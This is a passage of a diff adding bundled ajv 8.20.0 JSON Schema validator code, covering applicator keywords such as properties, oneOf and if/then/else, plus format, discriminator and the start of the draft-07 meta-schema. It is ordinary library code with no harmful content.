(0, codegen_1._)`${cond} && ${len} <= ${max}`; + cxt.pass(cond); + return; + } + it.items = true; + const valid = gen.name("valid"); + if (max === void 0 && min === 1) { + validateItems(valid, () => gen.if(valid, () => gen.break())); + } else if (min === 0) { + gen.let(valid, true); + if (max !== void 0) + gen.if((0, codegen_1._)`${data}.length > 0`, validateItemsWithCount); + } else { + gen.let(valid, false); + validateItemsWithCount(); + } + cxt.result(valid, () => cxt.reset()); + function validateItemsWithCount() { + const schValid = gen.name("_valid"); + const count = gen.let("count", 0); + validateItems(schValid, () => gen.if(schValid, () => checkLimits(count))); + } + function validateItems(_valid, block) { + gen.forRange("i", 0, len, (i) => { + cxt.subschema({ + keyword: "contains", + dataProp: i, + dataPropType: util_1.Type.Num, + compositeRule: true + }, _valid); + block(); + }); + } + function checkLimits(count) { + gen.code((0, codegen_1._)`${count}++`); + if (max === void 0) { + gen.if((0, codegen_1._)`${count} >= ${min}`, () => gen.assign(valid, true).break()); + } else { + gen.if((0, codegen_1._)`${count} > ${max}`, () => gen.assign(valid, false).break()); + if (min === 1) + gen.assign(valid, true); + else + gen.if((0, codegen_1._)`${count} >= ${min}`, () => gen.assign(valid, true)); + } + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/dependencies.js +var require_dependencies = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/dependencies.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.validateSchemaDeps = exports.validatePropertyDeps = exports.error = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var code_1 = require_code2(); + exports.error = { + message: ({ params: { property, depsCount, deps } }) => { + const property_ies = depsCount === 1 ? "property" : "properties"; + return (0, codegen_1.str)`must have ${property_ies} ${deps} when property ${property} is present`; + }, + params: ({ params: { property, depsCount, deps, missingProperty } }) => (0, codegen_1._)`{property: ${property}, + missingProperty: ${missingProperty}, + depsCount: ${depsCount}, + deps: ${deps}}` + // TODO change to reference + }; + var def = { + keyword: "dependencies", + type: "object", + schemaType: "object", + error: exports.error, + code(cxt) { + const [propDeps, schDeps] = splitDependencies(cxt); + validatePropertyDeps(cxt, propDeps); + validateSchemaDeps(cxt, schDeps); + } + }; + function splitDependencies({ schema }) { + const propertyDeps = {}; + const schemaDeps = {}; + for (const key in schema) { + if (key === "__proto__") + continue; + const deps = Array.isArray(schema[key]) ? propertyDeps : schemaDeps; + deps[key] = schema[key]; + } + return [propertyDeps, schemaDeps]; + } + function validatePropertyDeps(cxt, propertyDeps = cxt.schema) { + const { gen, data, it } = cxt; + if (Object.keys(propertyDeps).length === 0) + return; + const missing = gen.let("missing"); + for (const prop in propertyDeps) { + const deps = propertyDeps[prop]; + if (deps.length === 0) + continue; + const hasProperty = (0, code_1.propertyInData)(gen, data, prop, it.opts.ownProperties); + cxt.setParams({ + property: prop, + depsCount: deps.length, + deps: deps.join(", ") + }); + if (it.allErrors) { + gen.if(hasProperty, () => { + for (const depProp of deps) { + (0, code_1.checkReportMissingProp)(cxt, depProp); + } + }); + } else { + gen.if((0, codegen_1._)`${hasProperty} && (${(0, code_1.checkMissingProp)(cxt, deps, missing)})`); + (0, code_1.reportMissingProp)(cxt, missing); + gen.else(); + } + } + } + exports.validatePropertyDeps = validatePropertyDeps; + function validateSchemaDeps(cxt, schemaDeps = cxt.schema) { + const { gen, data, keyword, it } = cxt; + const valid = gen.name("valid"); + for (const prop in schemaDeps) { + if ((0, util_1.alwaysValidSchema)(it, schemaDeps[prop])) + continue; + gen.if( + (0, code_1.propertyInData)(gen, data, prop, it.opts.ownProperties), + () => { + const schCxt = cxt.subschema({ keyword, schemaProp: prop }, valid); + cxt.mergeValidEvaluated(schCxt, valid); + }, + () => gen.var(valid, true) + // TODO var + ); + cxt.ok(valid); + } + } + exports.validateSchemaDeps = validateSchemaDeps; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/propertyNames.js +var require_propertyNames = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/propertyNames.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error51 = { + message: "property name must be valid", + params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` + }; + var def = { + keyword: "propertyNames", + type: "object", + schemaType: ["object", "boolean"], + error: error51, + code(cxt) { + const { gen, schema, data, it } = cxt; + if ((0, util_1.alwaysValidSchema)(it, schema)) + return; + const valid = gen.name("valid"); + gen.forIn("key", data, (key) => { + cxt.setParams({ propertyName: key }); + cxt.subschema({ + keyword: "propertyNames", + data: key, + dataTypes: ["string"], + propertyName: key, + compositeRule: true + }, valid); + gen.if((0, codegen_1.not)(valid), () => { + cxt.error(true); + if (!it.allErrors) + gen.break(); + }); + }); + cxt.ok(valid); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/additionalProperties.js +var require_additionalProperties = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/additionalProperties.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var code_1 = require_code2(); + var codegen_1 = require_codegen(); + var names_1 = require_names(); + var util_1 = require_util(); + var error51 = { + message: "must NOT have additional properties", + params: ({ params }) => (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` + }; + var def = { + keyword: "additionalProperties", + type: ["object"], + schemaType: ["boolean", "object"], + allowUndefined: true, + trackErrors: true, + error: error51, + code(cxt) { + const { gen, schema, parentSchema, data, errsCount, it } = cxt; + if (!errsCount) + throw new Error("ajv implementation error"); + const { allErrors, opts } = it; + it.props = true; + if (opts.removeAdditional !== "all" && (0, util_1.alwaysValidSchema)(it, schema)) + return; + const props = (0, code_1.allSchemaProperties)(parentSchema.properties); + const patProps = (0, code_1.allSchemaProperties)(parentSchema.patternProperties); + checkAdditionalProperties(); + cxt.ok((0, codegen_1._)`${errsCount} === ${names_1.default.errors}`); + function checkAdditionalProperties() { + gen.forIn("key", data, (key) => { + if (!props.length && !patProps.length) + additionalPropertyCode(key); + else + gen.if(isAdditional(key), () => additionalPropertyCode(key)); + }); + } + function isAdditional(key) { + let definedProp; + if (props.length > 8) { + const propsSchema = (0, util_1.schemaRefOrVal)(it, parentSchema.properties, "properties"); + definedProp = (0, code_1.isOwnProperty)(gen, propsSchema, key); + } else if (props.length) { + definedProp = (0, codegen_1.or)(...props.map((p) => (0, codegen_1._)`${key} === ${p}`)); + } else { + definedProp = codegen_1.nil; + } + if (patProps.length) { + definedProp = (0, codegen_1.or)(definedProp, ...patProps.map((p) => (0, codegen_1._)`${(0, code_1.usePattern)(cxt, p)}.test(${key})`)); + } + return (0, codegen_1.not)(definedProp); + } + function deleteAdditional(key) { + gen.code((0, codegen_1._)`delete ${data}[${key}]`); + } + function additionalPropertyCode(key) { + if (opts.removeAdditional === "all" || opts.removeAdditional && schema === false) { + deleteAdditional(key); + return; + } + if (schema === false) { + cxt.setParams({ additionalProperty: key }); + cxt.error(); + if (!allErrors) + gen.break(); + return; + } + if (typeof schema == "object" && !(0, util_1.alwaysValidSchema)(it, schema)) { + const valid = gen.name("valid"); + if (opts.removeAdditional === "failing") { + applyAdditionalSchema(key, valid, false); + gen.if((0, codegen_1.not)(valid), () => { + cxt.reset(); + deleteAdditional(key); + }); + } else { + applyAdditionalSchema(key, valid); + if (!allErrors) + gen.if((0, codegen_1.not)(valid), () => gen.break()); + } + } + } + function applyAdditionalSchema(key, valid, errors) { + const subschema = { + keyword: "additionalProperties", + dataProp: key, + dataPropType: util_1.Type.Str + }; + if (errors === false) { + Object.assign(subschema, { + compositeRule: true, + createErrors: false, + allErrors: false + }); + } + cxt.subschema(subschema, valid); + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/properties.js +var require_properties = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/properties.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var validate_1 = require_validate(); + var code_1 = require_code2(); + var util_1 = require_util(); + var additionalProperties_1 = require_additionalProperties(); + var def = { + keyword: "properties", + type: "object", + schemaType: "object", + code(cxt) { + const { gen, schema, parentSchema, data, it } = cxt; + if (it.opts.removeAdditional === "all" && parentSchema.additionalProperties === void 0) { + additionalProperties_1.default.code(new validate_1.KeywordCxt(it, additionalProperties_1.default, "additionalProperties")); + } + const allProps = (0, code_1.allSchemaProperties)(schema); + for (const prop of allProps) { + it.definedProperties.add(prop); + } + if (it.opts.unevaluated && allProps.length && it.props !== true) { + it.props = util_1.mergeEvaluated.props(gen, (0, util_1.toHash)(allProps), it.props); + } + const properties = allProps.filter((p) => !(0, util_1.alwaysValidSchema)(it, schema[p])); + if (properties.length === 0) + return; + const valid = gen.name("valid"); + for (const prop of properties) { + if (hasDefault(prop)) { + applyPropertySchema(prop); + } else { + gen.if((0, code_1.propertyInData)(gen, data, prop, it.opts.ownProperties)); + applyPropertySchema(prop); + if (!it.allErrors) + gen.else().var(valid, true); + gen.endIf(); + } + cxt.it.definedProperties.add(prop); + cxt.ok(valid); + } + function hasDefault(prop) { + return it.opts.useDefaults && !it.compositeRule && schema[prop].default !== void 0; + } + function applyPropertySchema(prop) { + cxt.subschema({ + keyword: "properties", + schemaProp: prop, + dataProp: prop + }, valid); + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/patternProperties.js +var require_patternProperties = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/patternProperties.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var code_1 = require_code2(); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var util_2 = require_util(); + var def = { + keyword: "patternProperties", + type: "object", + schemaType: "object", + code(cxt) { + const { gen, schema, data, parentSchema, it } = cxt; + const { opts } = it; + const patterns = (0, code_1.allSchemaProperties)(schema); + const alwaysValidPatterns = patterns.filter((p) => (0, util_1.alwaysValidSchema)(it, schema[p])); + if (patterns.length === 0 || alwaysValidPatterns.length === patterns.length && (!it.opts.unevaluated || it.props === true)) { + return; + } + const checkProperties = opts.strictSchema && !opts.allowMatchingProperties && parentSchema.properties; + const valid = gen.name("valid"); + if (it.props !== true && !(it.props instanceof codegen_1.Name)) { + it.props = (0, util_2.evaluatedPropsToName)(gen, it.props); + } + const { props } = it; + validatePatternProperties(); + function validatePatternProperties() { + for (const pat of patterns) { + if (checkProperties) + checkMatchingProperties(pat); + if (it.allErrors) { + validateProperties(pat); + } else { + gen.var(valid, true); + validateProperties(pat); + gen.if(valid); + } + } + } + function checkMatchingProperties(pat) { + for (const prop in checkProperties) { + if (new RegExp(pat).test(prop)) { + (0, util_1.checkStrictMode)(it, `property ${prop} matches pattern ${pat} (use allowMatchingProperties)`); + } + } + } + function validateProperties(pat) { + gen.forIn("key", data, (key) => { + gen.if((0, codegen_1._)`${(0, code_1.usePattern)(cxt, pat)}.test(${key})`, () => { + const alwaysValid = alwaysValidPatterns.includes(pat); + if (!alwaysValid) { + cxt.subschema({ + keyword: "patternProperties", + schemaProp: pat, + dataProp: key, + dataPropType: util_2.Type.Str + }, valid); + } + if (it.opts.unevaluated && props !== true) { + gen.assign((0, codegen_1._)`${props}[${key}]`, true); + } else if (!alwaysValid && !it.allErrors) { + gen.if((0, codegen_1.not)(valid), () => gen.break()); + } + }); + }); + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/not.js +var require_not = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/not.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var util_1 = require_util(); + var def = { + keyword: "not", + schemaType: ["object", "boolean"], + trackErrors: true, + code(cxt) { + const { gen, schema, it } = cxt; + if ((0, util_1.alwaysValidSchema)(it, schema)) { + cxt.fail(); + return; + } + const valid = gen.name("valid"); + cxt.subschema({ + keyword: "not", + compositeRule: true, + createErrors: false, + allErrors: false + }, valid); + cxt.failResult(valid, () => cxt.reset(), () => cxt.error()); + }, + error: { message: "must NOT be valid" } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/anyOf.js +var require_anyOf = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/anyOf.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var code_1 = require_code2(); + var def = { + keyword: "anyOf", + schemaType: "array", + trackErrors: true, + code: code_1.validateUnion, + error: { message: "must match a schema in anyOf" } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/oneOf.js +var require_oneOf = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/oneOf.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error51 = { + message: "must match exactly one schema in oneOf", + params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` + }; + var def = { + keyword: "oneOf", + schemaType: "array", + trackErrors: true, + error: error51, + code(cxt) { + const { gen, schema, parentSchema, it } = cxt; + if (!Array.isArray(schema)) + throw new Error("ajv implementation error"); + if (it.opts.discriminator && parentSchema.discriminator) + return; + const schArr = schema; + const valid = gen.let("valid", false); + const passing = gen.let("passing", null); + const schValid = gen.name("_valid"); + cxt.setParams({ passing }); + gen.block(validateOneOf); + cxt.result(valid, () => cxt.reset(), () => cxt.error(true)); + function validateOneOf() { + schArr.forEach((sch, i) => { + let schCxt; + if ((0, util_1.alwaysValidSchema)(it, sch)) { + gen.var(schValid, true); + } else { + schCxt = cxt.subschema({ + keyword: "oneOf", + schemaProp: i, + compositeRule: true + }, schValid); + } + if (i > 0) { + gen.if((0, codegen_1._)`${schValid} && ${valid}`).assign(valid, false).assign(passing, (0, codegen_1._)`[${passing}, ${i}]`).else(); + } + gen.if(schValid, () => { + gen.assign(valid, true); + gen.assign(passing, i); + if (schCxt) + cxt.mergeEvaluated(schCxt, codegen_1.Name); + }); + }); + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/allOf.js +var require_allOf = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/allOf.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var util_1 = require_util(); + var def = { + keyword: "allOf", + schemaType: "array", + code(cxt) { + const { gen, schema, it } = cxt; + if (!Array.isArray(schema)) + throw new Error("ajv implementation error"); + const valid = gen.name("valid"); + schema.forEach((sch, i) => { + if ((0, util_1.alwaysValidSchema)(it, sch)) + return; + const schCxt = cxt.subschema({ keyword: "allOf", schemaProp: i }, valid); + cxt.ok(valid); + cxt.mergeEvaluated(schCxt); + }); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/if.js +var require_if = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/if.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var error51 = { + message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, + params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` + }; + var def = { + keyword: "if", + schemaType: ["object", "boolean"], + trackErrors: true, + error: error51, + code(cxt) { + const { gen, parentSchema, it } = cxt; + if (parentSchema.then === void 0 && parentSchema.else === void 0) { + (0, util_1.checkStrictMode)(it, '"if" without "then" and "else" is ignored'); + } + const hasThen = hasSchema(it, "then"); + const hasElse = hasSchema(it, "else"); + if (!hasThen && !hasElse) + return; + const valid = gen.let("valid", true); + const schValid = gen.name("_valid"); + validateIf(); + cxt.reset(); + if (hasThen && hasElse) { + const ifClause = gen.let("ifClause"); + cxt.setParams({ ifClause }); + gen.if(schValid, validateClause("then", ifClause), validateClause("else", ifClause)); + } else if (hasThen) { + gen.if(schValid, validateClause("then")); + } else { + gen.if((0, codegen_1.not)(schValid), validateClause("else")); + } + cxt.pass(valid, () => cxt.error(true)); + function validateIf() { + const schCxt = cxt.subschema({ + keyword: "if", + compositeRule: true, + createErrors: false, + allErrors: false + }, schValid); + cxt.mergeEvaluated(schCxt); + } + function validateClause(keyword, ifClause) { + return () => { + const schCxt = cxt.subschema({ keyword }, schValid); + gen.assign(valid, schValid); + cxt.mergeValidEvaluated(schCxt, valid); + if (ifClause) + gen.assign(ifClause, (0, codegen_1._)`${keyword}`); + else + cxt.setParams({ ifClause: keyword }); + }; + } + } + }; + function hasSchema(it, keyword) { + const schema = it.schema[keyword]; + return schema !== void 0 && !(0, util_1.alwaysValidSchema)(it, schema); + } + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/thenElse.js +var require_thenElse = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/thenElse.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var util_1 = require_util(); + var def = { + keyword: ["then", "else"], + schemaType: ["object", "boolean"], + code({ keyword, parentSchema, it }) { + if (parentSchema.if === void 0) + (0, util_1.checkStrictMode)(it, `"${keyword}" without "if" is ignored`); + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/index.js +var require_applicator = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/applicator/index.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var additionalItems_1 = require_additionalItems(); + var prefixItems_1 = require_prefixItems(); + var items_1 = require_items(); + var items2020_1 = require_items2020(); + var contains_1 = require_contains(); + var dependencies_1 = require_dependencies(); + var propertyNames_1 = require_propertyNames(); + var additionalProperties_1 = require_additionalProperties(); + var properties_1 = require_properties(); + var patternProperties_1 = require_patternProperties(); + var not_1 = require_not(); + var anyOf_1 = require_anyOf(); + var oneOf_1 = require_oneOf(); + var allOf_1 = require_allOf(); + var if_1 = require_if(); + var thenElse_1 = require_thenElse(); + function getApplicator(draft2020 = false) { + const applicator = [ + // any + not_1.default, + anyOf_1.default, + oneOf_1.default, + allOf_1.default, + if_1.default, + thenElse_1.default, + // object + propertyNames_1.default, + additionalProperties_1.default, + dependencies_1.default, + properties_1.default, + patternProperties_1.default + ]; + if (draft2020) + applicator.push(prefixItems_1.default, items2020_1.default); + else + applicator.push(additionalItems_1.default, items_1.default); + applicator.push(contains_1.default); + return applicator; + } + exports.default = getApplicator; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/format/format.js +var require_format = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/format/format.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var error51 = { + message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, + params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` + }; + var def = { + keyword: "format", + type: ["number", "string"], + schemaType: "string", + $data: true, + error: error51, + code(cxt, ruleType) { + const { gen, data, $data, schema, schemaCode, it } = cxt; + const { opts, errSchemaPath, schemaEnv, self: self2 } = it; + if (!opts.validateFormats) + return; + if ($data) + validate$DataFormat(); + else + validateFormat(); + function validate$DataFormat() { + const fmts = gen.scopeValue("formats", { + ref: self2.formats, + code: opts.code.formats + }); + const fDef = gen.const("fDef", (0, codegen_1._)`${fmts}[${schemaCode}]`); + const fType = gen.let("fType"); + const format = gen.let("format"); + gen.if((0, codegen_1._)`typeof ${fDef} == "object" && !(${fDef} instanceof RegExp)`, () => gen.assign(fType, (0, codegen_1._)`${fDef}.type || "string"`).assign(format, (0, codegen_1._)`${fDef}.validate`), () => gen.assign(fType, (0, codegen_1._)`"string"`).assign(format, fDef)); + cxt.fail$data((0, codegen_1.or)(unknownFmt(), invalidFmt())); + function unknownFmt() { + if (opts.strictSchema === false) + return codegen_1.nil; + return (0, codegen_1._)`${schemaCode} && !${format}`; + } + function invalidFmt() { + const callFormat = schemaEnv.$async ? (0, codegen_1._)`(${fDef}.async ? await ${format}(${data}) : ${format}(${data}))` : (0, codegen_1._)`${format}(${data})`; + const validData = (0, codegen_1._)`(typeof ${format} == "function" ? ${callFormat} : ${format}.test(${data}))`; + return (0, codegen_1._)`${format} && ${format} !== true && ${fType} === ${ruleType} && !${validData}`; + } + } + function validateFormat() { + const formatDef = self2.formats[schema]; + if (!formatDef) { + unknownFormat(); + return; + } + if (formatDef === true) + return; + const [fmtType, format, fmtRef] = getFormat(formatDef); + if (fmtType === ruleType) + cxt.pass(validCondition()); + function unknownFormat() { + if (opts.strictSchema === false) { + self2.logger.warn(unknownMsg()); + return; + } + throw new Error(unknownMsg()); + function unknownMsg() { + return `unknown format "${schema}" ignored in schema at path "${errSchemaPath}"`; + } + } + function getFormat(fmtDef) { + const code = fmtDef instanceof RegExp ? (0, codegen_1.regexpCode)(fmtDef) : opts.code.formats ? (0, codegen_1._)`${opts.code.formats}${(0, codegen_1.getProperty)(schema)}` : void 0; + const fmt = gen.scopeValue("formats", { key: schema, ref: fmtDef, code }); + if (typeof fmtDef == "object" && !(fmtDef instanceof RegExp)) { + return [fmtDef.type || "string", fmtDef.validate, (0, codegen_1._)`${fmt}.validate`]; + } + return ["string", fmtDef, fmt]; + } + function validCondition() { + if (typeof formatDef == "object" && !(formatDef instanceof RegExp) && formatDef.async) { + if (!schemaEnv.$async) + throw new Error("async format in sync schema"); + return (0, codegen_1._)`await ${fmtRef}(${data})`; + } + return typeof format == "function" ? (0, codegen_1._)`${fmtRef}(${data})` : (0, codegen_1._)`${fmtRef}.test(${data})`; + } + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/format/index.js +var require_format2 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/format/index.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var format_1 = require_format(); + var format = [format_1.default]; + exports.default = format; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/metadata.js +var require_metadata = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/metadata.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.contentVocabulary = exports.metadataVocabulary = void 0; + exports.metadataVocabulary = [ + "title", + "description", + "default", + "deprecated", + "readOnly", + "writeOnly", + "examples" + ]; + exports.contentVocabulary = [ + "contentMediaType", + "contentEncoding", + "contentSchema" + ]; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/draft7.js +var require_draft7 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/draft7.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var core_1 = require_core2(); + var validation_1 = require_validation2(); + var applicator_1 = require_applicator(); + var format_1 = require_format2(); + var metadata_1 = require_metadata(); + var draft7Vocabularies = [ + core_1.default, + validation_1.default, + (0, applicator_1.default)(), + format_1.default, + metadata_1.metadataVocabulary, + metadata_1.contentVocabulary + ]; + exports.default = draft7Vocabularies; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/discriminator/types.js +var require_types = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/discriminator/types.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.DiscrError = void 0; + var DiscrError; + (function(DiscrError2) { + DiscrError2["Tag"] = "tag"; + DiscrError2["Mapping"] = "mapping"; + })(DiscrError || (exports.DiscrError = DiscrError = {})); + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/discriminator/index.js +var require_discriminator = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/discriminator/index.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var types_1 = require_types(); + var compile_1 = require_compile(); + var ref_error_1 = require_ref_error(); + var util_1 = require_util(); + var error51 = { + message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, + params: ({ params: { discrError, tag: tag2, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag2}}` + }; + var def = { + keyword: "discriminator", + type: "object", + schemaType: "object", + error: error51, + code(cxt) { + const { gen, data, schema, parentSchema, it } = cxt; + const { oneOf } = parentSchema; + if (!it.opts.discriminator) { + throw new Error("discriminator: requires discriminator option"); + } + const tagName = schema.propertyName; + if (typeof tagName != "string") + throw new Error("discriminator: requires propertyName"); + if (schema.mapping) + throw new Error("discriminator: mapping is not supported"); + if (!oneOf) + throw new Error("discriminator: requires oneOf keyword"); + const valid = gen.let("valid", false); + const tag2 = gen.const("tag", (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(tagName)}`); + gen.if((0, codegen_1._)`typeof ${tag2} == "string"`, () => validateMapping(), () => cxt.error(false, { discrError: types_1.DiscrError.Tag, tag: tag2, tagName })); + cxt.ok(valid); + function validateMapping() { + const mapping = getMapping(); + gen.if(false); + for (const tagValue in mapping) { + gen.elseIf((0, codegen_1._)`${tag2} === ${tagValue}`); + gen.assign(valid, applyTagSchema(mapping[tagValue])); + } + gen.else(); + cxt.error(false, { discrError: types_1.DiscrError.Mapping, tag: tag2, tagName }); + gen.endIf(); + } + function applyTagSchema(schemaProp) { + const _valid = gen.name("valid"); + const schCxt = cxt.subschema({ keyword: "oneOf", schemaProp }, _valid); + cxt.mergeEvaluated(schCxt, codegen_1.Name); + return _valid; + } + function getMapping() { + var _a3; + const oneOfMapping = {}; + const topRequired = hasRequired(parentSchema); + let tagRequired = true; + for (let i = 0; i < oneOf.length; i++) { + let sch = oneOf[i]; + if ((sch === null || sch === void 0 ? void 0 : sch.$ref) && !(0, util_1.schemaHasRulesButRef)(sch, it.self.RULES)) { + const ref = sch.$ref; + sch = compile_1.resolveRef.call(it.self, it.schemaEnv.root, it.baseId, ref); + if (sch instanceof compile_1.SchemaEnv) + sch = sch.schema; + if (sch === void 0) + throw new ref_error_1.default(it.opts.uriResolver, it.baseId, ref); + } + const propSch = (_a3 = sch === null || sch === void 0 ? void 0 : sch.properties) === null || _a3 === void 0 ? void 0 : _a3[tagName]; + if (typeof propSch != "object") { + throw new Error(`discriminator: oneOf subschemas (or referenced schemas) must have "properties/${tagName}"`); + } + tagRequired = tagRequired && (topRequired || hasRequired(sch)); + addMappings(propSch, i); + } + if (!tagRequired) + throw new Error(`discriminator: "${tagName}" must be required`); + return oneOfMapping; + function hasRequired({ required: required2 }) { + return Array.isArray(required2) && required2.includes(tagName); + } + function addMappings(sch, i) { + if (sch.const) { + addMapping(sch.const, i); + } else if (sch.enum) { + for (const tagValue of sch.enum) { + addMapping(tagValue, i); + } + } else { + throw new Error(`discriminator: "properties/${tagName}" must have "const" or "enum"`); + } + } + function addMapping(tagValue, i) { + if (typeof tagValue != "string" || tagValue in oneOfMapping) { + throw new Error(`discriminator: "${tagName}" values must be unique strings`); + } + oneOfMapping[tagValue] = i; + } + } + } + }; + exports.default = def; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/refs/json-schema-draft-07.json +var require_json_schema_draft_07 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/refs/json-schema-draft-07.json"(exports, module) { + module.exports = { + $schema: "http://json-schema.org/draft-07/schema#", + $id: "http://json-schema.org/draft-07/schema#", + title: "Core schema meta-schema", + definitions: { + schemaArray: { + type: "array", + minItems: 1, + items: { $ref: "#" } + }, + nonNegativeInteger: { + type: "integer", + minimum: 0 + }, + nonNegativeIntegerDefault0: { + allOf: [{ $ref: "#/definitions/nonNegativeInteger" }, { default: 0 }] + }, + simpleTypes: { + enum: ["array", "boolean", "integer", "null", "number", "object", "string"] + }, + stringArray: { + type: "array", + items: { type: "string" }, + uniqueItems: true, + default: [] + } + }, + type: ["object", "boolean"], + properties: { + $id: { + type: "string", + format: "uri-reference" + }, + $schema: { + type: "string", + format: "uri" + }, + $ref: { + type: "string", + format: "uri-reference" + }, + $comment: { + type: "string" + }, + title: { + type: "string" + }, + description: { + type: "string" + }, + default: true, + readOnly: { + type: "boolean", + default: false + }, + examples: { + type: "array", + items: true + }, + multipleOf: { + type: "number", + exclusiveMinimum: 0 + }, + maximum: { + type: "number" + }, + exclusiveMaximum: { + type: "number" + }, + minimum: { + type: "number" + }, + exclusiveMinimum: { + type: "number" + }, + maxLength: { $ref: "#/definitions/nonNegativeInteger" }, + minLength: { $ref: "#/definitions/nonNegativeIntegerDefault0" }, + 